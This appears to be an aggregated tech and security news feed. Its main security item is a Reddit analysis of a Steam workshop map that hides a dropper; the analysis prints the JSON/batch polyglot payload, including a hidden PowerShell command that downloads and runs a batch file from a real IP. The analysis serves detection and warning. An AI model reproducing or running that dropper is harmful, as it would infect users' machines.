Apple’s first foldable iPhone is widely expected to use a shorter and wider design that offers more screen space for videos, multitasking, document editing, and AI-based features. This form factor also appears similar to Samsung’s new Galaxy Z Fold8, which now uses a wider passport-style layout.

Counterpoint believes larger foldable screens will become more useful as AI tools expand into daily tasks such as managing schedules, editing content, summarizing documents, and moving information between apps.

Dissecting RefluXFS: How CVE-2026-64600 turns an XFS race into root
Fri, 24 Jul 2026 00:27:47 +0200
      RefluXFS (CVE-2026-64600) is a Linux kernel local privilege escalation vulnerability rooted in a race condition within XFS. This write-up explores the vulnerability's internals, exploitation requirements, affected kernel versions, patch analysis, and the defensive considerations for identifying and mitigating exposure.

   submitted by    /u/NapierPalm  
 [link]   [comments] 

Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)
Fri, 24 Jul 2026 00:21:11 +0200
Table of Contents
  Intro
 Initial Symptom
 First Look at the Workshop Files
 Verifying the Asset Files
 AssetRegistry.bin Reveals the First Clue
 Opening the UE5 Asset Container
 Reverse Engineering the Blueprint
 Extracting the Embedded Payload
 Analyzing the Dropper Script
 Confirming Execution on an Affected PC
 Did the Second Stage Execute?
 Analysis Summary
 Limitations & Unknowns
 IOCs
 Final verdict

 A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.
 What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.
 I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.
 https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51
 1): The Initial Symptom
 A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.
 2): First Look at the Workshop Files
 The workshop content is located here:
 Steam\steamapps\workshop\content\4704690\3765145606\ 
 At first glance, there’s nothing suspicious in the folder. The contents are:
 AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc 
 There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.
 This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.
 3): Verifying the Asset Files
 File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.
 The results:
  utoc starts with -==--==--==--==-, which is the real IoStore magic
 pak has the correct 0x5A6F12E1 footer magic
 no MZ/PE, ELF or ZIP headers anywhere in any file

 The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.
 4): AssetRegistry.bin Reveals the First Clue
 This is the detail that stands out most from the entire investigation.
 AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.
 However, one Blueprint actor immediately stands out:
 /Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 
 Its class resolves as:
 BP_AmbientController_C 
 Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.
 In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.
 That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.
 The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.
 5): Opening the UE5 Asset Container
 The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:
 chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed 
 No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.
 The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.
 Searching across the extracted asset data revealed only a small number of notable references:
 ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 
 These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.
 6): Reverse Engineering the Blueprint
 The complete function chain is:
 ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile 
 Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.
 Tracing the Blueprint bytecode shows the path construction:
 dir = GetPlatformUserDir() // C:/Users//Documents/ path = dir + "s.bat" 
 ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.
 7): Extracting the Embedded Payload
 A single embedded string inside the Blueprint contains the following data:
 {"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"} 
 The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.
 This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.
 The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.
 8): Analyzing the Dropper Script
 The extracted script is also human-readable:
 if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) 
 The script uses a simple two-stage execution flow.
 On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.
 On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.
 The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.
 The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.
 9): Confirming Execution on an Affected PC
 On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.
 This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.
 https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32
 10): Did the second stage execute?
 The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:
 https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70
 The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.
 On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.
 The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).
 This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.
 https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026
 11): Analysis Summary
 Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:
  The Workshop uploader account appears to have been created only about one week before the item was published
 The Workshop map currently does not allow users to leave comments or ratings
 The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
 The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
 Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
 The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
 That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

 What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.
 12): Limitations & Unknowns
 What does steamb.bat do?
 Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.
 IOCs
 Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 
 Final Verdict
 Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.
 What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.
 I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.
 Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data
 Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.
 Cheers and stay safe!
 FeintBe

   submitted by    /u/feintbe  
 [link]   [comments]

the PERFECT Raspberry Pi wall dashboard?
Thu, 23 Jul 2026 20:49:01 +0200
Author: NetworkChuck - Bewertung: 319x - Views:3894 
This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:

🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/

🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio

🏠 Home Assistant: https://www.home-assistant.io/

🖥️ Proxmox: https://www.proxmox.com/

📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html

☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee

TIMESTAMPS:

0:00 - Unboxing the new Raspberry Pi Touch Display 2

0:45 - What is new on the 10 inch portrait display

1:50 - The catch: Raspberry Pi 5 and Compute Modules only

2:48 - It powered on and nothing happened

3:16 - The fix: updating your Raspberry Pi 5 firmware

5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

SUPPORT NETWORKCHUCK:

☕☕ COFFEE and MERCH: https://ntck.co/coffee

READY TO LEARN??

🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

📚 CCNA Course: https://ntck.co/ccna

FOLLOW ME EVERYWHERE:

Instagram: https://www.instagram.com/networkchuck/

X/Twitter: https://x.com/networkchuck

Facebook: https://www.facebook.com/NetworkChuck/

Join the Discord server: https://ntck.co/discord

Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

#raspberrypi #homeassistant #homelab

AMD raises the AI stakes with Helios, Venice and robotics
Thu, 23 Jul 2026 20:48:09 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel
Thu, 23 Jul 2026 20:38:28 +0200
Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…
Read more →
The post Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel appeared first on IT Security News.

Weintek cMT3092X
Thu, 23 Jul 2026 20:16:14 +0200
View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware <20210218 
EasyWeb 

CVSS
Vendor
Equipment
Vulnerabilities

v3 8.8
Weintek
Weintek cMT3092X
Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management

Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Taiwan

Vulnerabilities

Expand All +

CVE-2026-60134

Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.
View CVE Details

Affected Products
Weintek cMT3092X

Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: 
Product Status:
known_affected

Remediations
Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx
Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Metrics

CVSS Version
Base Score
Base Severity
Vector String

3.1
8.8
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0
8.7
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-61892

Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.
View CVE Details

Affected Products
Weintek cMT3092X

Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: 
Product Status:
known_affected

Remediations
Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx
Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-732 Incorrect Permission Assignment for Critical Resource

Metrics

CVSS Version
Base Score
Base Severity
Vector String

3.1
8.8
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0
8.7
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-61886

Weintek cMT3092X HMI stores user account passwords in plaintext.
View CVE Details

Affected Products
Weintek cMT3092X

Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: 
Product Status:
known_affected

Remediations
Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx
Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-256 Plaintext Storage of a Password

Metrics

CVSS Version
Base Score
Base Severity
Vector String

3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4.0
7.1
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE-2026-60135

An attacker can modify data that should be restricted to read‑only access.
View CVE Details

Affected Products
Weintek cMT3092X

Vendor:
Weintek
Product Version:
Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: 
Product Status:
known_affected

Remediations
Vendor fix
Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
https://www.weintek.com/globalw/Support/Knowledge.aspx
Mitigation
Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

Relevant CWE: CWE-286 Incorrect User Management

Metrics

CVSS Version
Base Score
Base Severity
Vector String

3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

4.0
7.1
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Acknowledgments

Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA

Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take the following measures to protect themselves from social engineering attacks:
Practice principles of least privilege.
Do not click web links or open attachments in unsolicited email messages.
Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.
Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

Initial Release Date: 2026-07-23

Date
Revision
Summary

2026-07-23
1
Initial Publication

Legal Notice and Terms of Use

An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right
Thu, 23 Jul 2026 19:19:49 +0200
